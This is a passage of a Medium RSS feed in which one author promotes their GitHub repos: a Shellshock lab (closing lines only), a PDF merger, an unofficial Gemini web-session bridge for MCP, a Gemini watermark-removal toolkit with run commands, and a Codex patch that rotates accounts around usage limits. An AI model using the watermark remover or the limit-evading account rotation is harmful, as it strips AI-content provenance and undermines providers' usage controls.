it.</p><p>The code rots. The examples fragment. The bug survives only as lore.</p><p>I would rather have a small repo that makes an old vulnerability runnable and inspectable again than another vague retrospective about why it was famous. The repo gives the bug back its mechanical shape, and that is what makes the article worth reading.</p><p>It is not about pretending Shellshock is new. It is about making sure it is still understandable.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/Shellshock">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6daa1d03503f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a PDF Merger After One Broken Scanner Export Kept Ruining Entire Document Packs]]></title>
            <link>https://medium.com/@monxresearch/i-built-a-pdf-merger-after-one-broken-scanner-export-kept-ruining-entire-document-packs-7bcdbfc89ef4?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bcdbfc89ef4</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[pdf]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Sat, 20 Jun 2026 08:45:07 GMT</pubDate>
            <atom:updated>2026-06-20T08:45:07.560Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYvt2ZQtxPeN2QJog0tQNQ.png" /></figure><p>Bad PDF merges are annoying because they usually fail in a very technical sense of the word &quot;succeed.&quot;</p><p>The files merge. The output opens. Nothing crashes.</p><p>And yet the result is still garbage because one scanner export came in with insane page geometry and made the whole packet behave like it was designed for a billboard.</p><p>That is the problem this repo solves, and I like it precisely because it stays focused on that one real annoyance instead of pretending to be a universal PDF platform.</p><h2>The bug is in the canvas, not the content</h2><p>The README explains the problem better than most PDF tools ever do.</p><p>Sometimes the scanned page looks fine by itself, but the underlying PDF canvas is enormous. The moment you merge it with ordinary pages, the output starts opening with weird zoom levels, tiny visual content, or one page that suddenly feels like it came from another planet.</p><p>The repo even shows the kind of CLI output you want from a tool like this:</p><pre>[NORMALIZE] broken-scan.pdf page 1: 11520.0 x 8085.6pt (160.0 x 112.3in) -&gt; 842 x 595pt at scale 0.07012<br>  reason: max dimension 11520.0pt exceeds 2000.0pt; page area 93146112pt^2 exceeds cohort median 500990pt^2 by factor 185.92</pre><p>That one example already tells you why the repo exists.</p><p>This is not a &quot;merge went wrong&quot; problem. It is a geometry outlier problem.</p><h2>smart_pdf_merge.py is short, but it knows exactly what it is hunting</h2><p>I like this file because it does not hide the decision model inside vague heuristics.</p><p>The repo says a page becomes suspicious when either of these is true:</p><ul><li>its maximum dimension is larger than 2000pt</li><li>its page area is more than 3x the cohort median</li></ul><p>That is smart because it catches the exact failure mode people run into in mixed scanner packs: one absurd page sitting among otherwise normal ones.</p><p>The rest of the file follows that same tone.</p><p>It inspects every page, classifies the geometry, rebuilds only the broken ones onto a sane paper size, and leaves already-correct pages alone. That &quot;only touch what is obviously wrong&quot; posture is what makes the tool feel trustworthy.</p><p>This is not a brute-force normalizer.</p><p>It is a selective repair tool.</p><h2>The report feature is what makes it professional</h2><p>A lot of small utilities stop too early. They fix the file and call it a day.</p><p>This repo goes one step further and gives you --report-json.</p><p>That matters because the moment you can emit a machine-readable explanation of which pages were rebuilt and why, the utility becomes useful outside a single terminal session. Now it can fit into:</p><ul><li>document processing scripts</li><li>ops workflows</li><li>CI checks for generated packets</li><li>audit trails when someone asks why one page looks different from the source</li></ul><p>That is the kind of tiny feature that separates a handy script from a tool other people can safely automate around.</p><h2>What I would actually run</h2><p>If I had one broken scanner page and one ordinary document to combine, I would use the repo exactly the way it wants to be used:</p><pre>pip install git+https://github.com/minanagehsalalma/smart-pdf-merge.git<br>smart-pdf-merge broken-scan.pdf normal-document.pdf -o merged-fixed.pdf</pre><p>And if I wanted something I could inspect later:</p><pre>smart-pdf-merge broken-scan.pdf normal-document.pdf \<br>  -o merged-fixed.pdf \<br>  --report-json merge-report.json</pre><p>That second command is where the repo starts earning its keep because it no longer just fixes the document. It tells you why it fixed the document.</p><h2>Why this works as a story instead of a dry utility post</h2><p>Because nearly everyone who has handled mixed scanned PDFs has lived through this exact kind of &quot;successful failure.&quot;</p><p>The merge technically works. The resulting file is still awful. And the root cause is hiding in a page box nobody was looking at.</p><p>This repo tells that story cleanly. It names the actual failure mode, shows the geometry evidence, and fixes the one thing that generic merge tools keep ignoring.</p><p>That is what I want from a practical engineering article. Not grand architecture. Just a very real annoyance, understood properly, and solved in a way I would reuse.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/smart-pdf-merge">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bcdbfc89ef4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Wanted Gemini Inside MCP Without API Keys, So I Built Around the Real Web Session]]></title>
            <link>https://medium.com/@monxresearch/i-wanted-gemini-inside-mcp-without-api-keys-so-i-built-around-the-real-web-session-346cddac040f?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/346cddac040f</guid>
            <category><![CDATA[mcps]]></category>
            <category><![CDATA[browser-automation]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Sat, 20 Jun 2026 08:43:11 GMT</pubDate>
            <atom:updated>2026-06-20T08:43:11.027Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfCFfgiYTyyeNcP3awGliA.png" /></figure><p>I did not want another fake &quot;Gemini API&quot; story.</p><p>I wanted a way to use Gemini from an MCP client that behaved like reality: real session, real browser state, real image flows, and no pretending that an unofficial endpoint would suddenly become stable just because a wrapper was optimistic about it.</p><p>That constraint made the repo better.</p><p>Instead of choosing one brittle implementation path and hoping everything could be forced through it, the project split the problem in two:</p><ul><li>use direct transport first when the request can be handled without dragging a browser around</li><li>fall back to the signed-in UI when the UI is genuinely the source of truth</li></ul><p>That is the idea that makes this repo worth reading.</p><h2>The repo is not really about Playwright</h2><p>People see a web-session tool and immediately assume the story is &quot;automate Chrome harder.&quot;</p><p>That is the least interesting version of this repo.</p><p>The more interesting version is in the README pitch:</p><ul><li>direct CycleTLS first</li><li>Playwright fallback when the browser UI is actually required</li><li>manual sign-in instead of pasted-cookie theater</li><li>session-aware tools for attachments, state inspection, output capture, and optional watermark cleanup</li></ul><p>That is a much sharper architecture than &quot;open browser, click things forever.&quot;</p><p>It is trying to keep the fast path fast and the browser path honest.</p><h2>scripts/gemini-web-mcp.mjs makes the split obvious</h2><p>The server file opens with a bunch of operational choices that tell you exactly what kind of repo this is:</p><ul><li>it forces logs to stderr so stdout stays MCP-clean</li><li>it loads Playwright and CycleTLS from explicit candidate paths</li><li>it caches direct image request templates</li><li>it knows about a dedicated CDP URL</li><li>it ranks direct image candidates instead of assuming the first response is good enough</li></ul><p>That is not the shape of a DOM script. That is the shape of a system trying to keep two execution modes coherent.</p><p>I especially like that the direct request path keeps a request template cache derived from a real Gemini UI request. That says a lot about the design posture: do not invent a clean-room fantasy request if the browser has already shown you the request shape that actually works.</p><h2>The browser still matters, but it is used for the right reasons</h2><p>The repo does not try to hide the browser path. It just uses it more selectively.</p><p>That matters because some Gemini flows really are browser-native:</p><ul><li>image-to-image work with attachments</li><li>reusing visible outputs already on the page</li><li>composer-state management</li><li>browser-only UI features and fallbacks</li></ul><p>For those cases, the project attaches to a real manually signed-in Chrome profile over CDP and works with the page as it exists.</p><p>That is the sane boundary.</p><p>What I like is that the repo treats this as a fallback, not as the whole architecture. Too many session-automation projects lock themselves into the slowest and least inspectable path from the start. This one does not.</p><h2>The repo feels alive because it solves operator problems, not just request problems</h2><p>The tool list is a clue.</p><p>It is not just &quot;send prompt&quot; and &quot;receive image.&quot; It includes things that only become necessary once you have used the system long enough to get annoyed:</p><ul><li>check_status</li><li>inspect_state</li><li>list_attachments</li><li>clear_attachments</li><li>list_visible_images</li><li>save_visible_images</li><li>watermark detection and cleanup for saved outputs</li></ul><p>That is exactly what I would expect from a bridge built by someone who actually had to keep the session usable across repeated runs.</p><p>The presence of inspect_state in particular makes the repo feel more mature. It signals that diagnosis matters. When unofficial web tooling gets weird, you need a way to ask &quot;what state am I in right now?&quot; before you start retrying randomly.</p><h2>How I would actually run it</h2><p>I would follow the repo&#39;s intended sequence exactly because the setup model is part of the point:</p><pre>npm install</pre><p>Point it at the CycleTLS build:</p><pre>$env:GEMINI_WEB_CYCLETLS_JS_PATH=&quot;E:\path\to\CycleTLS-Parity\dist\index.js&quot;<br>$env:GEMINI_WEB_CYCLETLS_EXE_PATH=&quot;E:\path\to\CycleTLS-Parity\dist\index.exe&quot;</pre><p>Launch the dedicated Gemini profile:</p><pre>npm run launch:profile</pre><p>Then run the MCP server:</p><pre>node &quot;.\scripts\gemini-web-mcp.mjs&quot;</pre><p>That setup tells you everything about the philosophy of the repo. It is not trying to hide that a real session exists. It is trying to expose that session in a way an MCP client can use without turning every request into fragile UI automation.</p><h2>Why I think this is the right kind of unofficial bridge</h2><p>Because it knows what it is.</p><p>It is not pretending to be an official API wrapper. It is not pretending browser state is optional. It is not pretending all flows should be forced through Playwright just because Playwright is available.</p><p>Instead, it makes a cleaner bet:</p><ul><li>direct transport when the web flow is reproducible enough</li><li>browser control when the browser is truly the authority</li><li>manual sign-in because fake convenience usually becomes future pain</li></ul><p>That is a much better system design than the usual one-note session-automation repo.</p><p>And it makes for a better Medium story too, because the interesting part is not that Gemini can be automated. The interesting part is figuring out where automation should stop pretending to be a protocol client and start respecting the live session it is built on.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/gemini-web-mcp">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=346cddac040f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Treated Gemini's Visible Watermark Like an Image-Analysis Problem, Not a Magic Trick]]></title>
            <link>https://medium.com/@monxresearch/i-treated-geminis-visible-watermark-like-an-image-analysis-problem-not-a-magic-trick-79e8dfef7c6a?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/79e8dfef7c6a</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[computer-vision]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[image-processing]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 07:28:09 GMT</pubDate>
            <atom:updated>2026-06-19T07:28:09.365Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZeXXxLXNNxuAhUEcjLGww.png" /></figure><p>Most watermark-removal repos want to skip straight to the reveal.</p><p>Here is the output. Here is the cleaned image. Here is the part where the audience is supposed to nod and move on.</p><p>That is not the interesting part.</p><p>The interesting part is always the method, especially when the target is narrow, visible, and annoying enough that people keep oversimplifying it. That is why I like this repo more as a research notebook than as a &quot;look what I erased&quot; demo.</p><p>It asks a better question: under what conditions does this mark become easy to localize, hard to localize, easy to subtract, and still ugly after subtraction?</p><p>That is a much better problem.</p><h2>The repo is strongest when you read it as two separate pipelines</h2><p>The methodology doc makes a distinction a lot of smaller projects never bother to make:</p><ul><li>detect-gemini-watermark.js is about localization</li><li>remove-gemini-watermark.js is about reconstruction</li></ul><p>That split matters.</p><p>Detection is asking where the visible sparkle cluster is and how confident the match should be. Removal is a narrower operation: once you believe you know where the mark lives, how do you invert the visible blend and clean up the leftovers without touching unrelated image regions?</p><p>That alone already makes the repo more credible to me because it refuses to pretend one stage solves the other.</p><h2>The evaluation snapshot is what gives the repo teeth</h2><p>I do not just want a methodology section. I want proof that the author actually measured something and kept the awkward cases in view.</p><p>This repo does that.</p><p>The README exposes concrete development results:</p><ul><li>detector localization hit 9/9 on the private development set</li><li>a showcase sample localized a 48px cluster at [1296, 687] -&gt; [1343, 734] with 0.999 confidence</li><li>a difficult 48px weak-case still locked at 67.2% NCC after fallback placement logic was added</li><li>a large 96px case locked at 94.4% NCC</li><li>rerunning on the cleaned large sample failed to rematch the watermark confidently, topping out at 68.6% and staying below threshold</li></ul><p>That is exactly the sort of detail that turns a repo from &quot;algorithm exists&quot; into &quot;someone actually chased the failure surfaces.&quot;</p><h2>The methodology is better than the hype</h2><p>The detector pipeline is deliberately explainable:</p><ol><li>restrict search to the bottom-right region</li><li>use grayscale and saturation-derived local statistics</li><li>build sparkle candidates from bright, low-saturation structures</li><li>cluster nearby responses</li><li>emit confidence plus optional overlay showing exactly what got accepted</li></ol><p>That is a good design choice for this problem.</p><p>You do not need a giant opaque model to talk honestly about a visible watermark family with a known placement pattern. What you need is a pipeline you can inspect when it fails.</p><p>The remover is equally explicit about what it is doing:</p><ul><li>load fixed alpha templates for the expected 48px and 96px marks</li><li>run a coarse-to-fine normalized cross-correlation pass</li><li>accept strong matches directly</li><li>allow weaker 48px matches only near the default Gemini placement margin</li><li>invert the visible additive blend locally</li><li>heal the bright leftovers instead of inpainting the whole corner</li></ul><p>That last constraint matters more than it sounds. Full inpainting would look fancier in a demo. A local deterministic cleanup is easier to reason about, easier to port to the userscript, and easier to debug when one specific case starts looking wrong.</p><h2>The userscript is useful, but it is not the main reason I like the repo</h2><p>Plenty of readers will jump straight to remove-gemini-watermark.userscript.js, and I get why. It is the visible part.</p><p>But the more interesting engineering is in the fact that the userscript is standing on top of a method the repo already made inspectable:</p><ul><li>structural matching</li><li>fixed alpha templates</li><li>fallback placement heuristics</li><li>localized residual healing</li></ul><p>That means the browser path is not just &quot;some magic front-end trick.&quot; It is the same research problem brought into a different execution context.</p><p>That is a much stronger story.</p><h2>What I would run first</h2><p>I would not start by removing anything.</p><p>I would first ask the repo to prove it can see the watermark cleanly:</p><pre>npm install<br>node detect-gemini-watermark.js .\path\to\image.png --json</pre><p>Then I would ask it to show me the geometry instead of just the confidence score:</p><pre>node detect-gemini-watermark.js .\path\to\image.png --debug .\overlay.png</pre><p>Only after that would I move to the removal path:</p><pre>node remove-gemini-watermark.js .\input.png .\outputs\cleaned.png</pre><p>That order matters because the detector is what keeps the remover honest.</p><h2>Why this works as a Medium story</h2><p>Because it is not just about a result image.</p><p>It is about taking a narrow visual artifact and refusing to wave your hands over it. The repo breaks the problem into localization, correlation, subtraction, and cleanup. It admits weak cases. It keeps debug outputs. It documents where the heuristics are justified and where they are simply pragmatic.</p><p>That is the kind of research I enjoy reading because it feels like real work rather than a polished myth.</p><p>And honestly, that is what makes the page interesting: not that a watermark disappeared, but that you can follow the chain of reasoning that made the disappearance believable.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/gemini-watermark-research-toolkit">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79e8dfef7c6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Got Tired of Logging Codex In and Out, So I Patched the Runtime Instead]]></title>
            <link>https://medium.com/@monxresearch/i-got-tired-of-logging-codex-in-and-out-so-i-patched-the-runtime-instead-680c09b39a4a?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/680c09b39a4a</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[cli]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 07:26:00 GMT</pubDate>
            <atom:updated>2026-06-19T07:26:00.795Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nggqsfCc7804wnUuBzHlPg.png" /></figure><p>The problem with single-account tooling is not that it works badly. It is that it works just well enough to waste your time in a very repetitive way.</p><p>That was my experience with Codex.</p><p>One account would hit a limit, or I would need to switch contexts between personal and work usage, and suddenly I was back in the same loop:</p><ul><li>login again</li><li>overwrite auth state</li><li>restart the CLI</li><li>hope the runtime actually noticed the change</li></ul><p>That is the kind of friction that makes a tool feel smaller than it is.</p><p>So this repo is not really about &quot;multi-account support&quot; in the abstract. It is about removing the dumbest part of the workflow without turning the whole CLI into a private fork I would regret maintaining.</p><h2>The most important design choice is what it refuses to do</h2><p>The README makes the core bet clear:</p><ul><li>keep upstream Codex installed normally</li><li>keep auth state in the same ~/.codex home Codex already uses</li><li>put a managed shim in front of codex</li><li>fail closed when the upstream binary hash is unknown</li></ul><p>That is exactly the right scope.</p><p>I would not have trusted this repo nearly as much if it patched the upstream vendor binary in place, invented a parallel auth store, or quietly guessed its way across upstream releases. Instead, it treats the upstream binary like something that needs to be discovered, hashed, matched to a known overlay, and left alone if the match is missing.</p><p>That is not just safer. It is more professional.</p><h2>The actual pain point was runtime reload, not just account selection</h2><p>Plenty of people can build an auth switcher.</p><p>The harder part is making the running CLI pick up the new auth snapshot cleanly enough that account switching feels like a workflow improvement instead of a script demo.</p><p>That is why this repo got my attention.</p><p>The point is not merely &quot;use account B instead of account A.&quot; The point is:</p><ul><li>put the shim in front of the real launcher</li><li>keep the auth manager bundled behind the same install</li><li>let the patched runtime reload auth from disk between turns</li><li>let websocket auth reconnect when the snapshot changes</li></ul><p>That last part is where these projects usually get sloppy. This one calls it out directly in the maintained patch model, and it ships focused regressions to prove the behavior still exists.</p><p>That is the kind of evidence I want in a patching repo.</p><h2>The file that tells you the project is real</h2><p>src/codex-auth-shim.js is where the repo stops sounding clever and starts sounding lived-in.</p><p>The file is full of the details that only show up after someone has actually been annoyed by the workflow for a while:</p><ul><li>pin, refresh, refresh-live, and switch paths instead of a single blunt command</li><li>live validity refresh logic and cache age handling</li><li>account registry reads under the same ~/.codex world the upstream tool already uses</li><li>patched list output that can enrich the CLI instead of pretending nothing changed</li><li>a selection flow that treats accounts like real runtime state, not like a string swap</li></ul><p>I especially like that the repo keeps a &quot;doctor&quot; mindset around the install. The patch runtime and auth runtime are checked together, which is exactly what users need when a setup like this goes bad. No one wants to spend twenty minutes figuring out whether the issue lives in the shim, the overlay cache, the upstream binary match, or the auth registry.</p><h2>The repo gets stronger because it keeps the trust boundary visible</h2><p>The trust model section does a lot of work here.</p><p>This toolkit is not asking for an OpenAI password. It is not proxying prompts. It is not uploading auth.json. It is not mutating the vendor binary in place. It is managing a runtime lane under ~/.codex-multiaccount and reading the same ~/.codex auth state Codex already relies on.</p><p>That boundary matters.</p><p>Patch repos become sketchy when they blur together convenience and control. This one works better because it makes the control surface obvious:</p><ul><li>overlays are hash-matched</li><li>unknown upstream builds fail closed</li><li>uninstall restores normal behavior</li><li>updates are explicit, not background magic</li></ul><p>Those are the decisions that make me think, &quot;okay, this could actually survive contact with real usage.&quot;</p><h2>What I would run first</h2><p>I would not start with account switching. I would start with the health checks.</p><p>Install the toolkit:</p><pre>npm install -g github:minanagehsalalma/codex-multiaccount-patcher</pre><p>Then hydrate the managed runtime:</p><pre>codex-multiaccount upgrade</pre><p>And before doing anything cute, I would run:</p><pre>codex-multiaccount doctor<br>codex-multiaccount auth list</pre><p>That sequence tells you whether the patch runtime, the auth runtime, and the account registry all agree on reality.</p><p>After that, the feature that actually justifies the repo is the one people will miss if they only skim it:</p><pre>codex-multiaccount pin work</pre><p>That is not just a convenience alias. It disables auto-switch first, performs the account switch, and leaves the selection pinned until you turn rollover back on. That is the kind of workflow detail that makes a patch feel like a tool instead of a stunt.</p><h2>Why this is a stronger article than &quot;I built a Codex mod&quot;</h2><p>Because the good part is not that the runtime was changed.</p><p>The good part is that the runtime was changed with discipline.</p><p>The repo is trying to solve a boring, recurring productivity problem without paying for it later in chaos:</p><ul><li>no in-place mutation of upstream binaries</li><li>no fake compatibility guesses</li><li>no mystery auth store</li><li>no hidden auto-updates</li></ul><p>Just a managed shim, a known overlay, a checked hash, and a repairable path when upstream moves.</p><p>That is exactly the kind of patching work I like seeing from engineers because it says more than &quot;I can modify software.&quot; It says &quot;I can modify software without losing track of the original system.&quot;</p><p>That is much rarer, and a lot more useful.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/codex-multiaccount-patcher">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=680c09b39a4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>